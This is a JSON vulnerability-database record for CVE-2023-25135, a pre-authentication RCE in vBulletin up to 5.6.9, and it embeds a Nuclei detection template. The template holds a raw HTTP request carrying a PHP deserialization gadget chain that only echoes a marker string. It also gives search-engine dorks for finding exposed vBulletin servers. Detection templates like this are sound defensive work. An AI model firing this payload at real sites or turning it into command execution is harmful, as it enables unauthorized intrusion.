{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-25135/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-25135/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-25135/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-25135/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-25135/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-25135"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-25135"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2023/CVE-2023-25135.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2023-25135\n\ninfo:\n  name: vBulletin <= 5.6.9 - Pre-authentication Remote Code Execution\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: critical\n  description: |\n    vBulletin before 5.6.9 PL1 allows an unauthenticated remote attacker to execute arbitrary code via a crafted HTTP request that triggers deserialization. This occurs because verify_serialized checks that a value is serialized by calling unserialize and then checking for errors.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.\n  remediation: Upgrade to the latest version to mitigate this vulnerability.\n  reference:\n    - https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable\n    - https://github.com/ambionics/vbulletin-exploits/blob/main/vbulletin-rce-cve-2023-25135.py\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-25135\n    - https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4473890-vbulletin-5-6-9-security-patch\n    - https://github.com/netlas-io/netlas-dorks\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-25135\n    cwe-id: CWE-502\n    epss-score: 0.23926\n    epss-percentile: 0.97755\n    cpe: cpe:2.3:a:vbulletin:vbulletin:5.6.7:-:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: vbulletin\n    product: vbulletin\n    shodan-query:\n      - http.component:\"vBulletin\"\n      - http.html:\"powered by vbulletin\"\n      - http.component:\"vbulletin\"\n      - http.title:\"powered by vbulletin\"\n      - cpe:\"cpe:2.3:a:vbulletin:vbulletin\"\n    fofa-query:\n      - body=\"powered by vbulletin\"\n      - title=\"powered by vbulletin\"\n    google-query:\n      - intext:\"Powered By vBulletin\"\n      - intitle:\"powered by vbulletin\"\n      - intext:\"powered by vbulletin\"\n  tags: cve,cve2023,vbulletin,rce,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /ajax/api/user/save HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        adminoptions=&options=&password={{randstr}}&securitytoken={{randstr}}&user%5Bemail%5D=pown%40pown.net&user%5Bpassword%5D=password&user%5Bsearchprefs%5D=a%3a2%3a{i%3a0%3bO%3a27%3a\"googlelogin_vendor_autoload\"%3a0%3a{}i%3a1%3bO%3a32%3a\"Monolog\\Handler\\SyslogUdpHandler\"%3a1%3a{s%3a9%3a\"%00*%00socket\"%3bO%3a29%3a\"Monolog\\Handler\\BufferHandler\"%3a7%3a{s%3a10%3a\"%00*%00handler\"%3br%3a4%3bs%3a13%3a\"%00*%00bufferSize\"%3bi%3a-1%3bs%3a9%3a\"%00*%00buffer\"%3ba%3a1%3a{i%3a0%3ba%3a2%3a{i%3a0%3bs%3a14%3a\"CVE-2023-25135\"%3bs%3a5%3a\"level\"%3bN%3b}}s%3a8%3a\"%00*%00level\"%3bN%3bs%3a14%3a\"%00*%00initialized\"%3bb%3a1%3bs%3a14%3a\"%00*%00bufferLimit\"%3bi%3a-1%3bs%3a13%3a\"%00*%00processors\"%3ba%3a2%3a{i%3a0%3bs%3a7%3a\"current\"%3bi%3a1%3bs%3a8%3a\"var_dump\"%3b}}}}&user%5Busername%5D={{randstr}}&userfield=&userid=0\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'string(14)'\n          - '\"CVE-2023-25135\"'\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100bd8c38ab8c12e634bf8ef2fc155f99cd73e7022845a7d90a1f06c7f788d1c2f70220606b320ef63203894d48984115201e990a2b5ea28b596a14a691180af00974d1:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2023-25135"
}